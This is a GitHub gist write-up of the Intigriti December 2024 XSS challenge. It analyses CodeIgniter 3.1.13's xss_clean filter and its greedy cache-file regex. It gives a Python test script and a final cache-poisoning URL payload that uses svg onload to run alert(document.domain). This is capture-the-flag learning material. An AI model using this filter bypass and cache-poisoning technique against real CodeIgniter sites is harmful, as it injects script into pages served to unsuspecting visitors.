Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active March 29, 2025 16:49
Show Gist options
  • Save Siss3l/a2b8de456cc9fbd9fefa4536b69aed69 to your computer and use it in GitHub Desktop.
Save Siss3l/a2b8de456cc9fbd9fefa4536b69aed69 to your computer and use it in GitHub Desktop.
Intigriti December 2024 Web Challenge @JorianWoltjer

Intigriti December 2024 XSS Challenge

Challenge

Description

The solution:

  • Should leverage a cross site scripting vulnerability on this domain;
  • Should work on the latest version of Chrome and FireFox;
  • Should not be self-XSS or related to MiTM attacks;
  • Should execute alert(document.domain);
  • Should require no user interaction;

Overview

The web challenge lets you write a title.
First, we inspect the challenge's source code for potential exploitable bug:

$ wget -c https://challenge-1224.intigriti.io/source.zip
$ cd source/src && git status
# deleted:    application/cache/index.html ...
$ jq '.description' composer.json
"The CodeIgniter framework"
$ aider /add * --edit-format ask
source> What is the logical version of the framework used in the repo?
The current version is `3.1.13` given the `const CI_VERSION = '3.1.13';` variable,
see `https://github.com/bcit-ci/CodeIgniter/blob/3.1.13/system/core/CodeIgniter.php#L59` line.
This is not the latest release. CodeIgniter `3.1.13` does not have robust sanitization for modern vectors like mutation XSS or nested encodings.
[...]
source> What are the key differences in the source code?
1. The variable `$config['cache_query_string'] = TRUE;` is set to `FALSE` by default,
see `https://github.com/bcit-ci/CodeIgniter/blob/3.1.13/application/config/config.php#L316` line.
2. The `sed` commands in the `Dockerfile` are used for configuration and optimization of files within the container.
If improperly implemented or combined with untrusted input, they can introduce vulnerabilities.
3. Files in `controllers`, `public` and `views` folders have been added manually.
[...]
source> Given our previous conversations, what are the potential vulnerabilities in relation?
- ID Attribute Injection: The `$id` is directly derived from user input and inserted into the DOM in the `<div>` element
as `id="<?= $id ?>"`, in `source/src/application/views/view.php#L66` line.
The function `str2id` ensures no quotes (`"`) are allowed but doesn't sanitize against other malicious characters.
- Title Display Vulnerability: The `$title` variable is displayed in the `h1` tag after being passed through `htmlspecialchars`.
While `htmlspecialchars` does prevent direct XSS here, the use of `xss_clean` might not be foolproof,
especially if the attacker employs encoding tricks or special characters that bypass sanitization.
- Cache Mechanism: The `output->cache(1)` (in `source/src/application/controllers/View.php#L23` line) caches the page for `one` minute.
If an attacker can poison the cache with malicious input, subsequent visitors may receive a XSS payload.
[...]
$ cd ../source && docker build -t challenge . && docker run -p 8000:8000 challenge
[Wed Dec 11 2024] [core:notice] [pid 1:tid 1] AH00090: Command line: 'apache2 -D FOREGROUND'

Research

Going around and taking a closer look at the code of the main page, we see that we will need to find a way to use quote character.

<?php
defined('BASEPATH') OR exit('No direct script access allowed');
function str2id($str) { // ./source/src/application/controllers/View.php
    if (strstr($str, '"')) {
        die('Error: No quotes allowed in attribute');
    }
    // Lowercase everything except first letters
    $str = preg_replace_callback('/(^)?[A-Z]+/', function($match) {
        return isset($match[1]) ? $match[0] : strtolower($match[0]);
    }, $str);
    // Replace whitespace with dash
    return preg_replace('/[\s]/', '-', $str);
}
class View extends CI_Controller {
    public function index() {
        $this->load->helper('string');
        $this->load->helper('security');
        $this->output->cache(1);
        $title = $this->input->get('title') ?: 'Christmas Fireplace';
        $title = xss_clean($title);
        $id = str2id($title);
        $this->load->view('view', array(
            "id" => $id,
            "title" => $title
        ));
    }
}

If we examine the new files created in Docker when a request is instantiated, we see that the /var/www/html/application/cache/ folder grows as we go along:

a:2:{s:6:"expire";i:1750000000;s:7:"headers";a:0:{}}ENDCI---><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="stylesheet" href="/style.css"></head><body background="#483741" class="fire-border"><a href="/index.php" class="top-left">⬅ Go back</a><div class="wrapper"><h1>...</div></div></div></div></body></html>

Furthermore, the ENDCI identifier between the serialized PHP/8.4.1 objects and the main html code attracts our attention so we check where it could be found:

$ grep -rnw . -e 'ENDCI'
./source/src/system/core/Output.php:622:  $output = $cache_info.'ENDCI--->'.$output;
./source/src/system/core/Output.php:695:  if ( ! preg_match('/^(.*)ENDCI--->/', $cache, $match))
# https://github.com/bcit-ci/CodeIgniter/blob/3.1.13/system/core/Output.php#L695

Test

public function _write_cache($output) {
    // [...]
    $expire = time() + ($this->cache_expiration * 60); // Put together our serialized info.
    $cache_info = serialize(array(
        'expire'    => $expire,
        'headers'    => $this->headers
    ));
    $output = $cache_info.'ENDCI--->'.$output; // ./source/src/system/core/Output.php
    for ($written = 0, $length = self::strlen($output); $written < $length; $written += $result) {
        if (($result = fwrite($fp, self::substr($output, $written))) === FALSE) {
            break;
        }
    }
    flock($fp, LOCK_UN);
}

public function _display_cache(&$CFG, &$URI) {
    // [...]
    if ( ! preg_match('/^(.*)ENDCI--->/', $cache, $match)) { // Look for embedded serialized file info.
        return FALSE;
    }
    $cache_info = unserialize($match[1]);
    $expire = $cache_info['expire'];
    $last_modified = filemtime($filepath); // Has the file expired?
    if ($_SERVER['REQUEST_TIME'] >= $expire && is_really_writable($cache_path)) { // If so we'll delete it.
        @unlink($filepath);
        log_message('debug', 'Cache file has expired. File deleted.');
        return FALSE;
    } // Send the HTTP cache control headers
    $this->set_cache_header($last_modified, $expire); // Add headers from cache file.
    foreach ($cache_info['headers'] as $header) {
        $this->set_header($header[0], $header[1]);
    } // Display the cache
    $this->_display(self::substr($cache, self::strlen($match[0])));
    log_message('debug', 'Cache file is current. Sending it to browser.');
    return TRUE;
}

We notice that the other line of code preg_match('/^(.*)ENDCI--->/', $cache, $match) uses a greedy regular expression that will match all ENDCI---> character strings.

This would quickly become a problem if our payload ended up there when the page is cached.
But the first concern is that part of the --> string is filtered in the Security.php class:

$str = $this->_do_never_allowed($str);
/**
 * List of never allowed strings | $filename_bad_chars
 *
 * @var array
 */
protected $_never_allowed_str = array(
    '<!--'              => '&lt;!--',
    '-->'               => '--&gt;',
    '<![CDATA['         => '&lt;![CDATA[',
    '<comment>'         => '&lt;comment&gt;',
    '<%'                => '&lt;&#37;'
); // ./source/src/system/core/Security.php

We remember the str2id function (in View.php) which allows to replace spaces (as %20 in URL encoding) with hyphens.

Solution

Tooking inspiration from this video as <22 foo='bar<h1>'>test</22>:

from bs4 import BeautifulSoup
from requests import get  # Burp, curl, selenium, wget
url = "http://localhost:8000"  # https://challenge-1224.intigriti.io
tag, xss = "ENDCI-%20->", "<22 foo='bar<h1>'>test</22>"
_ = get(f"{url}/index.php/view?title={tag}{xss}")  # Cached requests
k = get(f"{url}/index.php/view?title={tag}{xss}").content  # Refresh
soup = BeautifulSoup(k, "html.parser")
print(soup.prettify())
"""
<!DOCTYPE html>
<html lang="en">
 <head>
 </head>
 <body background="#483741" class="fire-border">
  <div class="wrapper">
   <h1>
    ENDCI- -&gt;&lt;22 foo='bar&lt;h1&gt;'&gt;test&lt;/22&gt;
   </h1>
   </div>
   <div class="fireplace" id="ENDCI---&gt;&lt;22-foo='bar&lt;h1&gt;'&gt;test&lt;/22&gt;"></div>
"""
# Final result:
"""
&lt;22-foo='bar
<h1>
 '&gt;test
 <!--22-->
 "&gt;
 <div class="bottom">
  <ul class="ground">
  </ul>
 </div>
 ...
 <div class="sock" id="sock-3">
  <div class="second">
  </div>
 </div>
</h1>
"""

The regular expression patterns used to identify and clean malicious naughty HTML elements do not correctly clear nested non-ASCII alpha normalized tags.

public function xss_clean($str, $is_image = FALSE) {
    if (is_array($str)) { // ./source/src/system/core/Security.php
        foreach ($str as $key => &$value) {
            $str[$key] = $this->xss_clean($value);
        }

        return $str;
    }
    $str = remove_invisible_characters($str);
    if (stripos($str, '%') !== false) {
        do {
            $oldstr = $str;
            $str = rawurldecode($str);
            $str = preg_replace_callback('#%(?:\s*[0-9a-f]){2,}#i', array($this, '_urldecodespaces'), $str);
        }
        while ($oldstr !== $str);
        unset($oldstr);
    }
    $str = preg_replace_callback("/[^a-z0-9>]+[a-z0-9]+=([\'\"]).*?\\1/si", array($this, '_convert_attribute'), $str);
    $str = preg_replace_callback('/<\w+.*/si', array($this, '_decode_entity'), $str);
    $str = remove_invisible_characters($str);
    $str = str_replace("\t", ' ', $str);
    $converted_string = $str;
    $str = $this->_do_never_allowed($str);
    if ($is_image === TRUE) {
        $str = preg_replace('/<\?(php)/i', '&lt;?\\1', $str);
    }
    else {
        $str = str_replace(array('<?', '?'.'>'), array('&lt;?', '?&gt;'), $str);
    }
    $words = array(
        'javascript', 'expression', 'vbscript', 'jscript', 'wscript',
        'vbs', 'script', 'base64', 'applet', 'alert', 'document',
        'write', 'cookie', 'window', 'confirm', 'prompt', 'eval'
    );
    foreach ($words as $word) {
        $word = implode('\s*', str_split($word)).'\s*';
        $str = preg_replace_callback('#('.substr($word, 0, -3).')(\W)#is', array($this, '_compact_exploded_words'), $str);
    }
    do {
        $original = $str;
        if (preg_match('/<a/i', $str)) {
            $str = preg_replace_callback('#<a(?:rea)?[^a-z0-9>]+([^>]*?)(?:>|$)#si', array($this, '_js_link_removal'), $str);
        }
        if (preg_match('/<img/i', $str)) {
            $str = preg_replace_callback('#<img[^a-z0-9]+([^>]*?)(?:\s?/?>|$)#si', array($this, '_js_img_removal'), $str);
        }
        if (preg_match('/script|xss/i', $str)) {
            $str = preg_replace('#</*(?:script|xss).*?>#si', '[removed]', $str);
        }
    }
    while ($original !== $str);
    unset($original);
    $pattern = '#'.'<((?<slash>/*\s*)((?<tagName>[a-z0-9]+)(?=[^a-z0-9]|$)|.+)' // tag start and name, followed by a non-tag character
        .'[^\s\042\047a-z0-9>/=]*' // a valid attribute character immediately after the tag would count as a separator optional attributes
        .'(?<attributes>(?:[\s\042\047/=]*' // non-attribute characters, excluding > (tag close) for obvious reasons
        .'[^\s\042\047>/=]+' // attribute characters optional attribute-value
            .'(?:\s*=' // attribute-value separator
                .'(?:[^\s\042\047=><`]+|\s*\042[^\042]*\042|\s*\047[^\047]*\047|\s*(?U:[^\s\042\047=><`]*))' // single, double or non-quoted value
            .')?' // end optional attribute-value group
        .')*)' // end optional attributes group
        .'[^>]*)(?<closeTag>\>)?#isS';
    do {
        $old_str = $str;
        $str = preg_replace_callback($pattern, array($this, '_sanitize_naughty_html'), $str);
    }
    while ($old_str !== $str);
    unset($old_str);
    $str = preg_replace(
        '#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si',
        '\\1\\2&#40;\\3&#41;',
        $str
    );
    $str = preg_replace(
        '#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)`(.*?)`#si',
        '\\1\\2&#96;\\3&#96;',
        $str
    );
    $str = $this->_do_never_allowed($str);
    if ($is_image === TRUE) {
        return ($str === $converted_string);
    }
    return $str;
}

Providing the final working cached payload:
https://challenge-1224.intigriti.io/index.php/view?title=ENDCI-%20-><0/a='a<svg/onload=alert(document.domain)>'></0>

We need to run this beforehand every ~50 seconds until the user receives the url.

Here a non-exhaustive ideas arborescence:

---
config:
  sankey:
    showValues: false
---
sankey-beta

PHP,CodeIgniter,1040
PHP,UAF,10
PHP,Object Serialization,40
CodeIgniter,View.php,410
CodeIgniter,Security.php,380
CodeIgniter,Output.php,150
str2id,ID Injection,80
View.php,cache(1),80
View.php,str2id,160
View.php,xss_clean,80
cache(1),Cache Poisoning,80
cache(1),cache_query_string,80
Security.php,xss_clean,130
Output.php,ENDCI,155
xss_clean,Cross-site scripting,370
Docker,Sed views,60
Docker,Apache2 foreground,50
Docker,Container Escape,50
Loading

Appendix

We can remain in the dark for a long time but that is why it is important to change strategies and use different techniques to catch strange behaviors in the application.

Test

Comments are disabled for this gist.